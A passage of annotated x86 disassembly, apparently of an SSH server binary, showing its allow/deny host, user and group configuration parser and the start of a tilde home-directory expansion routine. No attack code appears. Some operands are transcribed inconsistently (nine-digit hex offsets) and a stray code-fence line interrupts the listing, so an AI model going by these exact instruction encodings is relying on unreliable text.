08051cb5   83 ec 0c                  sub     $0xc,%esp
08051cb8   53                        push    %ebx
08051cb9   ff b5 e0 fb ff ff         pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08051cbf   ff 75 0c                  pushl   0xc(%ebp)
08051cc2   68 80 f1 06 08            push    $0x806f180   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                            unsupported log facility %s"
08051cc7   ff 35 0c 9c 07 08         pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                            (Red Hat Linux 7.1 2.96-79)"
08051ccd   e8 2a 80 ff ff            call    08049cfc <fprintf>
08051cd2   83 c4 14                  add     $0x14,%esp
08051cd5   6a 01                     push    $0x1
08051cd7   e8 70 86 ff ff            call    0804a34c <exit>
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08051cdc  8b 4d 08              mov     0x8(%ebp),%ecx
08051cdf  83 79 4c ff           cmpl    $0xffffffff,0x4c(%ecx)
08051ce3  0f 85 1f 04 00 00     jne     08052108 <Unknown0063+0xcc4>  ;1055 'x1f x4 x0 x0' ""
08051ce9  8b 80 9c 7d 07 08     mov     0x8077d9c(%eax),%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08051cef  89 41 4c              mov     %eax,0x4c(%ecx)
08051cf2  e9 11 04 00 00        jmp     08052108 <Unknown0063+0xcc4>  ;1041 'x11 x4 x0 x0' ""
08051cf7  90                    nop
08051cf8  8b 7d 08              mov     0x8(%ebp),%edi
08051cfb  81 bf 90 00 00 00 ff 00 00 00  cmpl  $0xff,0x90(%edi)  ;255 'xff x0 x0 x0' ""
08051d05  76 25                 jbe     08051d2c <Unknown0063+0x8e8>
08051d07  ff b5 e0 fb ff ff     pushl   0xffffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051d0d  ff 75 0c              pushl   0xc(%ebp)
08051d10  68 c0 f1 06 08        push    $0x806f1c0  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                     too many allow shosts."
08051d15  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
08051d1b  e8 dc 7f ff ff        call    08049cfc <fprintf>
08051d20  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051d27  e8 20 86 ff ff        call    0804a34c <exit>
08051d2c  83 ec 0c              sub     $0xc,%esp
08051d2f  53                    push    %ebx
08051d30  e8 03 52 00 00        call    08056f38 <Unknown0173>
08051d35  8b 4d 08              mov     0x8(%ebp),%ecx
08051d38  8b 91 90 00 00 00     mov     0x90(%ecx),%edx  ;144 'x90 x0 x0 x0' ""
08051d3e  89 84 91 94 00 00 00  mov     %eax,0x94(%ecx,%edx,4)  ;148 'x94 x0 x0 x0' ""
08051d45  42                    inc     %edx
08051d46  89 91 90 00 00 00     mov     %edx,0x90(%ecx)  ;144 'x90 x0 x0 x0' ""
08051d4c  83 c4 10              add     $0x10,%esp
08051d4f  83 ec 08              sub     $0x8,%esp
08051d52  68 ac ef 06 08        push    $0x806efac  ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051d57  6a 00                 push    $0x0
08051d59  e8 ae 86 ff ff        call    0804a40c <strtok>
08051d5e  89 c3                 mov     %eax,%ebx
08051d60  83 c4 10              add     $0x10,%esp
08051d63  85 db                 test    %ebx,%ebx
08051d65  75 91                 jne     08051cf8 <Unknown0063+0x8b4>
08051d67  e9 9c 03 00 00        jmp     08052108 <Unknown0063+0xcc4>  ;924 'x9c x3 x0 x0' ""
08051d6c  8b 7d 08              mov     0x8(%ebp),%edi
08051d6f  81 bf 94 04 00 00 ff 00 00 00  cmpl  $0xff,0x494(%edi)  ;255 'xff x0 x0 x0' ""
08051d79  76 25                 jbe     08051da0 <Unknown0063+0x95c>
08051d7b  ff b5 e0 fb ff ff     pushl   0xffffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051d81  ff 75 0c              pushl   0xc(%ebp)
08051d84  68 00 f2 06 08        push    $0x806f200  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                     too many deny shosts."
08051d89  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
08051d8f  e8 68 7f ff ff        call    08049cfc <fprintf>
08051d94  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051d9b  e8 ac 85 ff ff        call    0804a34c <exit>
08051da0  83 ec 0c              sub     $0xc,%esp
08051da3  53                    push    %ebx
08051da4  e8 8f 51 00 00        call    08056f38 <Unknown0173>
08051da9  8b 4d 08              mov     0x8(%ebp),%ecx
08051dac  8b 91 94 04 00 00     mov     0x494(%ecx),%edx  ;1172 'x94 x4 x0 x0' ""
08051db2  89 84 91 98 04 00 00  mov     %eax,0x498(%ecx,%edx,4)  ;1176 'x98 x4 x0 x0' ""
08051db9  42                    inc     %edx
08051dba  89 91 94 04 00 00     mov     %edx,0x494(%ecx)  ;1172 'x94 x4 x0 x0' ""
08051dc0  83 c4 10              add     $0x10,%esp
08051dc3  83 ec 08              sub     $0x8,%esp
08051dc6  68 ac ef 06 08        push    $0x806efac  ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051dcb  6a 00                 push    $0x0
08051dcd  e8 3a 86 ff ff        call    0804a40c <strtok>
08051dd2  89 c3                 mov     %eax,%ebx
08051dd4  83 c4 10              add     $0x10,%esp
08051dd7  85 db                 test    %ebx,%ebx
08051dd9  75 91                 jne     08051d6c <Unknown0063+0x928>
08051ddb  e9 28 03 00 00        jmp     08052108 <Unknown0063+0xcc4>  ;808 'x28 x3 x0 x0' "("
08051de0  8b 7d 08              mov     0x8(%ebp),%edi
08051de3  81 bf 98 08 00 00 ff 00 00 00  cmpl  $0xff,0x898(%edi)  ;255 'xff x0 x0 x0' ""
08051ded  76 25                 jbe     08051e14 <Unknown0063+0x9d0>
08051def  ff b5 e0 fb ff ff     pushl   0xffffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051df5  ff 75 0c              pushl   0xc(%ebp)
08051df8  68 40 f2 06 08        push    $0x806f240  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                     too many allow hosts."
08051dfd  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                     (Red Hat Linux 7.1 2.96-79)"
08051e03  e8 f4 7e ff ff        call    08049cfc <fprintf>
08051e08  c7 04 24 01 00 00 00  movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051e0f  e8 38 85 ff ff        call    0804a34c <exit>
08051e14  83 ec 0c              sub     $0xc,%esp
08051e17  53                    push    %ebx
08051e18  e8 1b 51 00 00        call    08056f38 <Unknown0173>
08051e1d  8b 4d 08              mov     0x8(%ebp),%ecx
08051e20  8b 91 98 08 00 00     mov     0x898(%ecx),%edx  ;2200 'x98 x8 x0 x0' ""
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08051e26   89 84 91 9c 08 00 00      mov     %eax,0x89c(%ecx,%edx,4)  ;2204 'x9c x8 x0 x0' ""
08051e2d   42                        inc     %edx
08051e2e   89 91 98 08 00 00         mov     %edx,0x898(%ecx)  ;2200 'x98 x8 x0 x0' ""
08051e34   83 c4 10                  add     $0x10,%esp
08051e37   83 ec 08                  sub     $0x8,%esp
08051e3a   68 ac ef 06 08            push    $0x806efac  ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051e3f   6a 00                     push    $0x0
08051e41   e8 c6 85 ff ff            call    0804a40c <strtok>
08051e46   89 c3                     mov     %eax,%ebx
08051e48   83 c4 10                  add     $0x10,%esp
08051e4b   85 db                     test    %ebx,%ebx
08051e4d   75 91                     jne     08051de0 <Unknown0063+0x99c>
08051e4f   e9 b4 02 00 00            jmp     08052108 <Unknown0063+0xcc4>  ;692 'xb4 x2 x0 x0' ""
08051e54   8b 7d 08                  mov     0x8(%ebp),%edi
08051e57   81 bf 9c 0c 00 00 ff 00 00 00   cmpl    $0xff,0xc9c(%edi)  ;255 'xff x0 x0 x0' ""
08051e61   76 25                     jbe     08051e88 <Unknown0063+0xa44>
08051e63   ff b5 e0 fb ff ff         pushl   0xfffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051e69   ff 75 0c                  pushl   0xc(%ebp)
08051e6c   68 80 f2 06 08            push    $0x806f280  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                           too many deny hosts."
08051e71   ff 35 0c 9c 07 08         pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08051e77   e8 80 7e ff ff            call    08049cfc <fprintf>
08051e7c   c7 04 24 01 00 00 00      movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051e83   e8 c4 84 ff ff            call    0804a34c <exit>
08051e88   83 ec 0c                  sub     $0xc,%esp
08051e8b   53                        push    %ebx
08051e8c   e8 a7 50 00 00            call    08056f38 <Unknown0173>
08051e91   8b 4d 08                  mov     0x8(%ebp),%ecx
08051e94   8b 91 9c 0c 00 00         mov     0xc9c(%ecx),%edx  ;3228 'x9c xc x0 x0' ""
08051e9a   89 84 91 a0 0c 00 00      mov     %eax,0xca0(%ecx,%edx,4)  ;3232 'xa0 xc x0 x0' ""
08051ea1   42                        inc     %edx
08051ea2   89 91 9c 0c 00 00         mov     %edx,0xc9c(%ecx)  ;3228 'x9c xc x0 x0' ""
08051ea8   83 c4 10                  add     $0x10,%esp
08051eab   83 ec 08                  sub     $0x8,%esp
08051eae   68 ac ef 06 08            push    $0x806efac  ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051eb3   6a 00                     push    $0x0
08051eb5   e8 52 85 ff ff            call    0804a40c <strtok>
08051eba   89 c3                     mov     %eax,%ebx
08051ebc   83 c4 10                  add     $0x10,%esp
08051ebf   85 db                     test    %ebx,%ebx
08051ec1   75 91                     jne     08051e54 <Unknown0063+0xa10>
08051ec3   e9 40 02 00 00            jmp     08052108 <Unknown0063+0xcc4>  ;576 'x40 x2 x0 x0' "@"
08051ec8   8b 7d 08                  mov     0x8(%ebp),%edi
08051ecb   81 bf a0 10 00 00 ff 00 00 00   cmpl    $0xff,0x10a0(%edi)  ;255 'xff x0 x0 x0' ""
08051ed5   76 25                     jbe     08051efc <Unknown0063+0xab8>
08051ed7   ff b5 e0 fb ff ff         pushl   0xfffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051edd   ff 75 0c                  pushl   0xc(%ebp)
08051ee0   68 c0 f2 06 08            push    $0x806f2c0  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                           too many allow users."
08051ee5   ff 35 0c 9c 07 08         pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08051eeb   e8 0c 7e ff ff            call    08049cfc <fprintf>
08051ef0   c7 04 24 01 00 00 00      movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
08051ef7   e8 50 84 ff ff            call    0804a34c <exit>
08051efc   83 ec 0c                  sub     $0xc,%esp
08051eff   53                        push    %ebx
08051f00   e8 33 50 00 00            call    08056f38 <Unknown0173>
08051f05   8b 4d 08                  mov     0x8(%ebp),%ecx
08051f08   8b 91 a0 10 00 00         mov     0x10a0(%ecx),%edx  ;4256 'xa0 x10 x0 x0' ""
08051f0e   89 84 91 a4 10 00 00      mov     %eax,0x10a4(%ecx,%edx,4)  ;4260 'xa4 x10 x0 x0' ""
08051f15   42                        inc     %edx
08051f16   89 91 a0 10 00 00         mov     %edx,0x10a0(%ecx)  ;4256 'xa0 x10 x0 x0' ""
08051f1c   83 c4 10                  add     $0x10,%esp
08051f1f   83 ec 08                  sub     $0x8,%esp
08051f22   68 ac ef 06 08            push    $0x806efac  ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051f27   6a 00                     push    $0x0
08051f29   e8 de 84 ff ff            call    0804a40c <strtok>
08051f2e   89 c3                     mov     %eax,%ebx
08051f30   83 c4 10                  add     $0x10,%esp
08051f33   85 db                     test    %ebx,%ebx
08051f35   75 91                     jne     08051ec8 <Unknown0063+0xa84>
08051f37   e9 cc 01 00 00            jmp     08052108 <Unknown0063+0xcc4>  ;460 'xcc x1 x0 x0' ""
08051f3c   8b 7d 08                  mov     0x8(%ebp),%edi
08051f3f   81 bf a4 14 00 00 ff 00 00 00   cmpl    $0xff,0x14a4(%edi)  ;255 'xff x0 x0 x0' ""
08051f49   76 25                     jbe     08051f70 <Unknown0063+0xb2c>
08051f4b   ff b5 e0 fb ff ff         pushl   0xfffffbe0(%ebp)  ;-1056 'xe0 xfb xff xff' ""
08051f51   ff 75 0c                  pushl   0xc(%ebp)
08051f54   68 00 f3 06 08            push    $0x806f300  ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                           too many deny users."
08051f59   ff 35 0c 9c 07 08         pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08051f5f   e8 98 7d ff ff            call    08049cfc <fprintf>
08051f64   c7 04 24 01 00 00 00      movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
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08051f6b  e8 dc 83 ff ff           call    0804a34c <exit>
08051f70  83 ec 0c                 sub     $0xc,%esp
08051f73  53                       push    %ebx
08051f74  e8 bf 4f 00 00           call    08056f38 <Unknown0173>
08051f79  8b 4d 08                 mov     0x8(%ebp),%ecx
08051f7c  8b 91 a4 14 00 00        mov     0x14a4(%ecx),%edx   ;5284 'xa4 x14 x0 x0' ""
08051f82  89 84 91 a8 14 00 00     mov     %eax,0x14a8(%ecx,%edx,4)   ;5288 'xa8 x14 x0 x0' ""
08051f89  42                       inc     %edx
08051f8a  89 91 a4 14 00 00        mov     %edx,0x14a4(%ecx)   ;5284 'xa4 x14 x0 x0' ""
08051f90  83 c4 10                 add     $0x10,%esp
08051f93  83 ec 08                 sub     $0x8,%esp
08051f96  68 ac ef 06 08           push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08051f9b  6a 00                    push    $0x0
08051f9d  e8 6a 84 ff ff           call    0804a40c <strtok>
08051fa2  89 c3                    mov     %eax,%ebx
08051fa4  83 c4 10                 add     $0x10,%esp
08051fa7  85 db                    test    %ebx,%ebx
08051fa9  75 91                    jne     08051f3c <Unknown0063+0xaf8>
08051fab  e9 58 01 00 00           jmp     08052108 <Unknown0063+0xcc4>   ;344 'x58 x1 x0 x0' "X"
08051fb0  8b 7d 08                 mov     0x8(%ebp),%edi
08051fb3  81 bf a8 18 00 00 ff 00 00 00   cmpl    $0xff,0x18a8(%edi)   ;255 'xff x0 x0 x0' ""
08051fbd  76 25                    jbe     08051fe4 <Unknown0063+0xba0>
08051fbf  ff b5 e0 fb ff ff        pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08051fc5  ff 75 0c                 pushl   0xc(%ebp)
08051fc8  68 40 f3 06 08           push    $0x806f340   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                         too many allow groups."
08051fcd  ff 35 0c 9c 07 08        pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                         (Red Hat Linux 7.1 2.96-79)"
08051fd3  e8 24 7d ff ff           call    08049cfc <fprintf>
08051fd8  c7 04 24 01 00 00 00     movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08051fdf  e8 68 83 ff ff           call    0804a34c <exit>
08051fe4  83 ec 0c                 sub     $0xc,%esp
08051fe7  53                       push    %ebx
08051fe8  e8 4b 4f 00 00           call    08056f38 <Unknown0173>
08051fed  8b 4d 08                 mov     0x8(%ebp),%ecx
08051ff0  8b 91 a8 18 00 00        mov     0x18a8(%ecx),%edx   ;6312 'xa8 x18 x0 x0' ""
08051ff6  89 84 91 ac 18 00 00     mov     %eax,0x18ac(%ecx,%edx,4)   ;6316 'xac x18 x0 x0' ""
08051ffd  42                       inc     %edx
08051ffe  89 91 a8 18 00 00        mov     %edx,0x18a8(%ecx)   ;6312 'xa8 x18 x0 x0' ""
08052004  83 c4 10                 add     $0x10,%esp
08052007  83 ec 08                 sub     $0x8,%esp
0805200a  68 ac ef 06 08           push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
0805200f  6a 00                    push    $0x0
08052011  e8 f6 83 ff ff           call    0804a40c <strtok>
08052016  89 c3                    mov     %eax,%ebx
08052018  83 c4 10                 add     $0x10,%esp
0805201b  85 db                    test    %ebx,%ebx
0805201d  75 91                    jne     08051fb0 <Unknown0063+0xb6c>
0805201f  e9 e4 00 00 00           jmp     08052108 <Unknown0063+0xcc4>   ;228 'xe4 x0 x0 x0' ""
08052024  8b 7d 08                 mov     0x8(%ebp),%edi
08052027  81 bf ac 1c 00 00 ff 00 00 00   cmpl    $0xff,0x1cac(%edi)   ;255 'xff x0 x0 x0' ""
08052031  76 25                    jbe     08052058 <Unknown0063+0xc14>
08052033  ff b5 e0 fb ff ff        pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08052039  ff 75 0c                 pushl   0xc(%ebp)
0805203c  68 80 f3 06 08           push    $0x806f380   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                         too many deny groups."
08052041  ff 35 0c 9c 07 08        pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                         (Red Hat Linux 7.1 2.96-79)"
08052047  e8 b0 7c ff ff           call    08049cfc <fprintf>
0805204c  c7 04 24 01 00 00 00     movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08052053  e8 f4 82 ff ff           call    0804a34c <exit>
08052058  83 ec 0c                 sub     $0xc,%esp
0805205b  53                       push    %ebx
0805205c  e8 d7 4e 00 00           call    08056f38 <Unknown0173>
08052061  8b 4d 08                 mov     0x8(%ebp),%ecx
08052064  8b 91 ac 1c 00 00        mov     0x1cac(%ecx),%edx   ;7340 'xac x1c x0 x0' ""
0805206a  89 84 91 b0 1c 00 00     mov     %eax,0x1cb0(%ecx,%edx,4)   ;7344 'xb0 x1c x0 x0' ""
08052071  42                       inc     %edx
08052072  89 91 ac 1c 00 00        mov     %edx,0x1cac(%ecx)   ;7340 'xac x1c x0 x0' ""
08052078  83 c4 10                 add     $0x10,%esp
0805207b  83 ec 08                 sub     $0x8,%esp
0805207e  68 ac ef 06 08           push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08052083  6a 00                    push    $0x0
08052085  e8 82 83 ff ff           call    0804a40c <strtok>
0805208a  89 c3                    mov     %eax,%ebx
0805208c  83 c4 10                 add     $0x10,%esp
0805208f  85 db                    test    %ebx,%ebx
08052091  75 91                    jne     08052024 <Unknown0063+0xbe0>
08052093  eb 73                    jmp     08052108 <Unknown0063+0xcc4>
08052095  8d 76 00                 lea     0x0(%esi),%esi
08052098  8b 75 08                 mov     0x8(%ebp),%esi
0805209b  81 c6 b0 20 00 00        add     $0x20b0,%esi   ;8368 'xb0 x20 x0 x0' ""
080520a1  e9 14 f6 ff ff           jmp     080516ba <Unknown0063+0x276>   ;-2540 'x14 xf6 xff xff' ""
080520a6  89 f6                    mov     %esi,%esi
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080520a8  8b 7d 08                 mov     0x8(%ebp),%edi
080520ab  81 c7 8c 00 00 00        add     $0x8c,%edi    ;140 'x8c x0 x0 x0' ""
080520b1  89 bd d4 fb ff ff        mov     %edi,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080520b7  e9 74 f7 ff ff           jmp     08051830 <Unknown0063+0x3ec>   ;-2188 'x74 xf7 xff xff' "t"
080520bc  8b 45 08                 mov     0x8(%ebp),%eax
080520bf  05 b4 20 00 00           add     $0x20b4,%eax    ;8372 'xb4 x20 x0 x0' ""
080520c4  e9 4a f4 ff ff           jmp     08051513 <Unknown0063+0xcf>   ;-2998 'x4a xf4 xff xff' "J"
080520c9  8d 76 00                 lea     0x0(%esi),%esi
080520cc  8b 55 08                 mov     0x8(%ebp),%edx
080520cf  81 c2 b8 20 00 00        add     $0x20b8,%edx    ;8376 'xb8 x20 x0 x0' ""
080520d5  89 95 d4 fb ff ff        mov     %edx,0xffffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
080520db  e9 39 f4 ff ff           jmp     08051519 <Unknown0063+0xd5>   ;-3015 'x39 xf4 xff xff' "9"
080520e0  83 ec 08                 sub     $0x8,%esp
080520e3  50                       push    %eax
080520e4  53                       push    %ebx
080520e5  ff b5 e0 fb ff ff        pushl   0xffffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
080520eb  ff 75 0c                 pushl   0xc(%ebp)
080520ee  68 c0 f3 06 08           push    $0x806f3c0   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                          Missing handler for opcode %s (%d)"
080520f3  ff 35 0c 9c 07 08        pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
080520f9  e8 fe 7b ff ff           call    08049cfc <fprintf>
080520fe  83 c4 14                 add     $0x14,%esp
08052101  6a 01                    push    $0x1
08052103  e8 44 82 ff ff           call    0804a34c <exit>
08052108  83 ec 08                 sub     $0x8,%esp
0805210b  68 ac ef 06 08           push    $0x806efac   ;[in .rodata] 168626464 'x20 x9 xd xa' " "
08052110  6a 00                    push    $0x0
08052112  e8 f5 82 ff ff           call    0804a40c <strtok>
08052117  83 c4 10                 add     $0x10,%esp
0805211a  85 c0                    test    %eax,%eax
0805211c  74 26                    je      08052144 <Unknown0063+0xd00>
0805211e  ff b5 e0 fb ff ff        pushl   0xffffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
08052124  ff 75 0c                 pushl   0xc(%ebp)
08052127  68 00 f4 06 08           push    $0x806f400   ;[in .rodata] 1814065957 'x25 x73 x20 x6c' "%s line %d:
                                                          garbage at end of line."
0805212c  ff 35 0c 9c 07 08        pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
08052132  e8 c5 7b ff ff           call    08049cfc <fprintf>
08052137  c7 04 24 01 00 00 00     movl    $0x1,(%esp,1)    ;1 'x1 x0 x0 x0' ""
0805213e  e8 09 82 ff ff           call    0804a34c <exit>
08052143  90                       nop
08052144  56                       push    %esi
08052145  ff b5 e4 fb ff ff        pushl   0xffffffbe4(%ebp)   ;-1052 'xe4 xfb xff xff' ""
0805214b  68 00 04 00 00           push    $0x400    ;1024 'x0 x4 x0 x0' ""
08052150  8d 9d e8 fb ff ff        lea     0xffffffbe8(%ebp),%ebx   ;-1048 'xe8 xfb xff xff' ""
08052156  53                       push    %ebx
08052157  e8 50 7f ff ff           call    0804a0ac <fgets>
0805215c  83 c4 10                 add     $0x10,%esp
0805215f  85 c0                    test    %eax,%eax
08052161  0f 85 25 f3 ff ff        jne     0805148c <Unknown0063+0x48>   ;-3291 'x25 xf3 xff xff' "%"
08052167  83 ec 0c                 sub     $0xc,%esp
0805216a  ff b5 e4 fb ff ff        pushl   0xffffffbe4(%ebp)   ;-1052 'xe4 xfb xff xff' ""
08052170  e8 d7 80 ff ff           call    0804a24c <fclose>
08052175  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08052178  5b                       pop     %ebx
08052179  5e                       pop     %esi
0805217a  5f                       pop     %edi
0805217b  5d                       pop     %ebp
0805217c  c3                       ret
0805217d  8d 76 00                 lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #  64  >---------------------<
  ;
08052180 <Unknown0064>:
08052180  55                       push    %ebp
08052181  89 e5                    mov     %esp,%ebp
08052183  57                       push    %edi
08052184  56                       push    %esi
08052185  53                       push    %ebx
08052186  81 ec 9c 00 00 00        sub     $0x9c,%esp    ;156 'x9c x0 x0 x0' ""
0805218c  8b 75 08                 mov     0x8(%ebp),%esi
0805218f  80 3e 7e                 cmpb    $0x7e,(%esi)
08052192  0f 85 b9 00 00 00        jne     08052251 <Unknown0064+0xd1>   ;185 'xb9 x0 x0 x0' ""
08052198  83 ec 08                 sub     $0x8,%esp
0805219b  6a 2f                    push    $0x2f
0805219d  46                       inc     %esi
0805219e  56                       push    %esi
0805219f  e8 b8 7a ff ff           call    08049c5c <strchr>
080521a4  83 c4 10                 add     $0x10,%esp
080521a7  85 c0                    test    %eax,%eax
080521a9  89 85 74 ff ff ff        mov     %eax,0xffffff74(%ebp)   ;-140 'x74 xff xff xff' "t"
```

```
080521af  74 07                       je      080521b8 <Unknown0064+0x38>
080521b1  89 c7                       mov     %eax,%edi
080521b3  29 f7                       sub     %esi,%edi
080521b5  eb 12                       jmp     080521c9 <Unknown0064+0x49>
080521b7  90                          nop
080521b8  89 f7                       mov     %esi,%edi
080521ba  fc                          cld
080521bb  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
080521c0  31 c0                       xor     %eax,%eax
080521c2  f2 ae                       repnz scas %es:(%edi),%al
080521c4  f7 d1                       not     %ecx
080521c6  8d 79 ff                    lea     0xffffffff(%ecx),%edi
080521c9  85 ff                       test    %edi,%edi
080521cb  75 27                       jne     080521f4 <Unknown0064+0x74>
080521cd  83 ec 0c                    sub     $0xc,%esp
080521d0  ff 75 0c                    pushl   0xc(%ebp)
080521d3  c7 85 78 ff ff ff 28 73 65 6c  movl   $0x6c657328,0xffffff78(%ebp)  ;1818587944 'x28 x73 x65
                                                                                  x6c' "(sel"
080521dd  66 c7 85 7c ff ff ff 66 29  movw    $0x2966,0xffffff7c(%ebp)   ;-132 'x7c xff xff xff' "|"
080521e6  c6 85 7e ff ff ff 00        movb    $0x0,0xffffff7e(%ebp)      ;-130 'x7e xff xff xff' "~"
080521ed  e8 1a 7c ff ff              call    08049e0c <getpwuid>
080521f2  eb 30                       jmp     08052224 <Unknown0064+0xa4>
080521f4  83 ff 63                    cmp     $0x63,%edi
080521f7  76 10                       jbe     08052209 <Unknown0064+0x89>
080521f9  83 ec 0c                    sub     $0xc,%esp
080521fc  68 20 f5 06 08              push    $0x806f520  ;[in .rodata] 1919251285 'x55 x73 x65 x72' "User name
                                                                                  after tilde too long."
08052201  e8 56 dd ff ff              call    0804ff5c <Unknown0044>
08052206  83 c4 10                    add     $0x10,%esp
08052209  51                          push    %ecx
0805220a  57                          push    %edi
0805220b  56                          push    %esi
0805220c  8d 9d 78 ff ff ff           lea     0xffffff78(%ebp),%ebx   ;-136 'x78 xff xff xff' "x"
08052212  53                          push    %ebx
08052213  e8 24 80 ff ff              call    0804a23c <memcpy>
08052218  c6 04 1f 00                 movb    $0x0,(%edi,%ebx,1)
0805221c  89 1c 24                    mov     %ebx,(%esp,1)
0805221f  e8 18 81 ff ff              call    0804a33c <getpwnam>
08052224  89 c3                       mov     %eax,%ebx
08052226  83 c4 10                    add     $0x10,%esp
08052229  85 db                       test    %ebx,%ebx
0805222b  75 17                       jne     08052244 <Unknown0064+0xc4>
0805222d  83 ec 08                    sub     $0x8,%esp
08052230  8d 85 78 ff ff ff           lea     0xffffff78(%ebp),%eax   ;-136 'x78 xff xff xff' "x"
08052236  50                          push    %eax
08052237  68 40 f5 06 08              push    $0x806f540  ;[in .rodata] 1852534357 'x55 x6e x6b x6e' "Unknown
                                                                                  user %.100s."
0805223c  e8 1b dd ff ff              call    0804ff5c <Unknown0044>
08052241  83 c4 10                    add     $0x10,%esp
08052244  8b 95 74 ff ff ff           mov     0xffffff74(%ebp),%edx   ;-140 'x74 xff xff xff' "t"
0805224a  85 d2                       test    %edx,%edx
0805224c  8b 73 14                    mov     0x14(%ebx),%esi
0805224f  75 0b                       jne     0805225c <Unknown0064+0xdc>
08052251  83 ec 0c                    sub     $0xc,%esp
08052254  56                          push    %esi
08052255  e8 de 4c 00 00              call    08056f38 <Unknown0173>
0805225a  eb 6c                       jmp     080522c8 <Unknown0064+0x148>
0805225c  fc                          cld
0805225d  89 f7                       mov     %esi,%edi
0805225f  31 c0                       xor     %eax,%eax
08052261  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08052266  f2 ae                       repnz scas %es:(%edi),%al
08052268  8b bd 74 ff ff ff           mov     0xffffff74(%ebp),%edi   ;-140 'x74 xff xff xff' "t"
0805226e  47                          inc     %edi
0805226f  89 bd 64 ff ff ff           mov     %edi,0xffffff64(%ebp)   ;-156 'x64 xff xff xff' "d"
08052275  89 cb                       mov     %ecx,%ebx
08052277  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805227c  f2 ae                       repnz scas %es:(%edi),%al
0805227e  f7 d3                       not     %ebx
08052280  f7 d1                       not     %ecx
08052282  01 d9                       add     %ebx,%ecx
08052284  83 ec 0c                    sub     $0xc,%esp
08052287  51                          push    %ecx
08052288  e8 03 4c 00 00              call    08056e90 <Unknown0170>
0805228d  89 c3                       mov     %eax,%ebx
0805228f  58                          pop     %eax
08052290  ff b5 64 ff ff ff           pushl   0xffffff64(%ebp)   ;-156 'x64 xff xff xff' "d"
08052296  56                          push    %esi
08052297  89 f2                       mov     %esi,%edx
08052299  68 55 f5 06 08              push    $0x806f555  ;[in .rodata] 623866661 'x25 x73 x2f x25' "%s/%s"
0805229e  fc                          cld
0805229f  89 d7                       mov     %edx,%edi
080522a1  31 c0                       xor     %eax,%eax
